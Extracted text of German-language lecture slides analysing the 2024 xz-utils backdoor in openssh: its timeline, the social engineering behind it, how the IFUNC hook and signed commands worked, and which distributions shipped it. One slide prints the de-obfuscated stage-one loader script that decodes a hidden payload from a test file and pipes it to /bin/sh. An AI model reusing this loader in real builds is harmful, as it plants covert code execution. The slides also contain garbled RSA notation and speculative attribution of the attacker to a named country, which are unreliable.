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Supply-Chain-Attacke auf openssh via der 
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Einschub: RSA

– Basisbedingung ist: (𝑚𝑚𝑒𝑒)𝑑𝑑≡ 𝑚𝑚 𝑚𝑚𝑚𝑚𝑚𝑚 𝑁𝑁
– Öffentlicher Schlüssel: [𝑚𝑚,𝑁𝑁]
– Privater Schlüssel:  [𝑒𝑒]  (implizit auch 𝑁𝑁)

Um dieses 𝑁𝑁 geht es später
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HighMediumLow

Was ist passiert? (0)
– Openssh wurde über eine Supply Chain Attacke angegriffen
– Der CVSS ist 10 (Max: 10). Zum Vergleich:

– Shellshock: 9.8
– Log4Shell: 10.0
– Heartbleed: 7.5
– Hafnium: 9.8 (NIST)/9.1 (MS)

– Openssh selber ist Weltweit auf 20 Millionen Servern installiert. Zum Vergleich:
– Apache Webserver: 14.6 Mio
– IIS: 4.17 Mio
– Exchange: 0.155 Mio
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Was ist passiert? (1)
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Skadoosh…… (am 29.3.2024)
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Was ist passiert? (2)
– Am 29.3.2024 wurde bekannt, dass ein Patch in den xz-Utilities (5.6.0 und 5.6.1) ein Backdoor bei 

openssh einführt. 
– Das Backdoor flog auf, weil ein Microsoft Entwickler (Andreas Freund) einen unerklärlich hohen CPU-load 

bei einem ssh-Login beobachtete.

– Der Patch wurde nur effektiv bei openssh, xz-utils und deb/rpm-basierten System (bekanntermassen 
betroffen sind Fedora, Debian, Alpine, Kali, openSUSE und Arch-Linux).

– Er erlaubt es, Personen mit einem bestimmten privaten Schlüssel (ed448) folgende Kommandos 
auszuführen:
– SSH authentication bypass (typischerweise mit root-Rechten)
– Ausführen eines Shell-Kommandos mit einer beliebigen UID/GID
– Mindestens ein unbekanntes Kommando
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Wann ist es passiert?
– Das Vorgehen war von langer Hand geplant und äusserst klassisch aufgebaut:

– Ein unbekannter namens “Jia Tan” hat den Verantwortlichen der xz-Utils im 2022 unter Druck gesetzt wegen 
gesundheitlicher Probleme die Kontrolle über das Projekt abzugeben (Social Engineering).

– Vermutlich hat der Entwickler im Laufe des Jahres 2022 (Hypothese ist derzeit 30.11.2022) tatsächlich 
nachgegeben.

– Vom 27.8.2023 bis 15.2.2024 werden mehrere Patches vom originalen Maintainer, “Jia Tan” und einem “Hans 
Jansen” eingeführt. Sie machen folgendes:
– Sie erlauben das überladen von Funktionen im Code mittels IFUNC
– Sie deaktivieren diverse Tests im eigentlichen Repository, in ein paar Upstream-Repositories und Plattformen 

(z.B. OSS-Fuzz).
– Am 24.2.2024 wird der eigentliche Backdoor-Code als Test-Files (ein lzma-File und ein xz-File) in binärer Form 

(um via IFUNC geladen/gelinked zu werden) hinzugefügt.
– Am 9.3.2024 wird ein Update dieses Codes hochgeladen ins Repository
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Das Update (1)
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Das Update (2)
– Diese zwei Archive sind zweistufig die obfuskierte Version des Backdoors
– Nach der De-Obfuscation (Florian Weimer at als erster den Code lesbar gemacht)  sehen die Files wie folgt aus:

####Hello####
#åU‰·$Ø
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir“
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && 
(head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c 
+1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 
>/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) 
&& head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c 
+2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-
\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####
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Das Update (3)

10. April 2024 Cybererdbeben: openssh-Angriff 11



www.fhnw.ch

Das Update (4)

– Entpackt ein weiteres Shellskript und 
Binaries

– Tauscht vorkompilierte .o Binaries und 
Konfigurationsvariablen während des Build-
Prozesses aus.

– Das führt Letztendes zu dem veränderten 
Verhalten.

– Das Problem war: Eine falsche Annahme 
beim Stackaufbau.
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Wann ist es passiert? (2)

– Am 29.3.2024 Wurde eine detaillierte Analyse durch Andreas Freund veröffentlicht und 
anschliessend von weiteren Forschern ergänzt (z.B. Russ Cox).
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Wie funktioniert das Ganze? (1)

– Es wurde ein Backdoor in der Form der Testfiles ins Repository geladen. Die Testfiles wurden 
während des Buildprozesses in binärer Form in den Code integriert, wenn es sich um RPM 
oder Debian-Pakete gehandelt auf der Basis von X86 gehandelt hat.

– Wenn ein System ein ssh-Prozess unter /usr/bin/sshd startet und sshd auf systemd-notify
zurückgreift, welcher wiederum liblzma (das ist der libbrary-Name der xz-utils) verwendet, dann 
wird via IFUNC alle Funktionsaufrufe zu RSA_public_decrypt (von sshd) umgeleitet auf den 
Schadcode.
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Wie funktioniert das Ganze? (2)
– Der öffentliche Modulus von N wird genommen

– Die ersten 16 Byte beinhalten ein Kommando (von 0-3)
– 00 Unbekannt
– 01 SSH Auth bypass
– 02 Execute Shell Command
– 03 Execute Shell Command with UID/GID

– Die letzten 240 Bytes sind eine Signatur (0-113) die gegen einen festkodierten ed448 Schlüssel, ein Kommando 
(maximal 122 Bytes \0-terminiert) und ein Padding
– Die Signatur ist gebunden an den öffentlichen Schlüssel des Hostsystems(!). Genauer:

– Die ersten 4 Bytes des Headers ([cmd1]*cmd2+cmd3)
– Die ersten 5 Bytes des Kommandos
– Der sha256 des Hostschlüssels

– Das Ganze ist verschlüsselt mit einem hart kodierten ChaCha20 symmetrischen Schlüssel.
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Wer war betroffen?
– In produktiven Systemen wurde der Code anschliessend eingeschlossen:

– openSUSE (Tumbleweed) 10.3.2024
– Arch 9.3.2024
– Kali 26.3.2024

– Testsysteme waren etwas früher:
– Fedora 24.2.2024 (“verbesserte” Version 5.6.1 am 9.3.2024)
– Debian 24.2.2024 (“verbesserte” Version 5.6.1 am 26.3.2024)
– Alpine 11.3.2024
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Wer ist Jia Tan?
– Er ist kaum echt…
– Er hat ein Ebay-Account, der in der USA beheimatet ist
– Einen Namen, der asiatisch, vermutlich Chinesisch ist.
– Aber … 

– Er arbeitet zu typischen Tageszeiten in einer Zeitzone wo 
man von 12:00 bis 18:00 UTC arbeitet.

– Er Arbeitet meistens von Dienstag bis Freitag (meistens; 
Parttimer 80%?)

– Er Arbeitet an asiatischen Feiertagen aber lässt Weihnachten 
und Neujahr aus.

– Er arbeitet regelmässig 6 Stunden und nie von 4:00 bis 
7:00UTC 
– Hypothetische Zeitzone wäre also ungefähr GMT+2 

→ Das deutet eigentlich auf «östliche europäische» Länder hin. Ein 
«üblicher Verdächtiger» in dieser Zeitzone wäre Israel. 
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In a Nutshell
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Wovon bis heute (meines Wissens) nicht gesprochen wird:

– Neben den bekannten Commits gibt es 
ähnliche, die bedeuten könnten, dass mehrere 
Architekturen betroffen sind oder geplant waren 
betroffen zu sein. Z.B. Risc-V
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Meine 2cts
– Die meisten Leute gehen von einem «State Sponsored Actor» aus. Ich stimme dem nicht zu!
– Indikatoren:

– Wahrscheinlicher Ursprung: Israel→ Bekannt für seine Fähigkeiten im Bereich der Staatstrojaner
– Die Art der «Signatur» des Requests ist seltsam. Statt den ganzen Request zu signieren, wird nur ein Teil des 

Kommandos und ein Teil des Payloads aber der ganze Hostkey signiert. Es werden nur ein Teil des Kommandos 
und ein Teil des Payloads signiert.
– Sie erlaubt es Pakete auszugeben, die nur login machen können auf einem spezifischen Host
– Sie erlaubt es die ersten 5 Bytes des Kommandos zu limitieren auf z.B.

– grep
– cat
– Halt
– Ein anderer 4 Byte Befehl (setzt voraus, dass der “Kunde” extrem bescheidene Kenntnisse der Shell besitzt).

– -> Ein entgleister Versuch der Kommerzialisierung?
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Mehr Info:

“Low Level Learning” zeigt auf Youtube unter anderem mit der Hilfe eines ersetzten Schlüssels, 
wie ein Angreifer den Exploit hätte ausnützen können (Die gepatchte Version wurde von Anthony 
Weems unter https://github.com/amlweems bereitgestellt).

– https://www.youtube.com/watch?v=vV_WdTBbww4
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Quellen:

– https://tukaani.org/xz-backdoor/ 
– https://jfrog.com/blog/xz-backdoor-attack-cve-2024-3094-all-you-need-to-know/ 
– https://github.com/amlweems/xzbot
– https://gynvael.coldwind.pl/?lang=en&id=782 
– https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27 
– https://github.com/JiaT75?tab=overview&from=2021-12-01&to=2021-12-31 
– https://github.com/0xlane/xz-cve-2024-3094 
– https://gigazine.net/gsc_news/en/20240404-xz-utils-jia-tan 
– https://rheaeve.substack.com/p/xz-backdoor-times-damned-times-and 
– https://www.openwall.com/lists/oss-security/2024/03/29/4 
– https://twitter.com/fr0gger_/status/1774342248437813525/photo/1 
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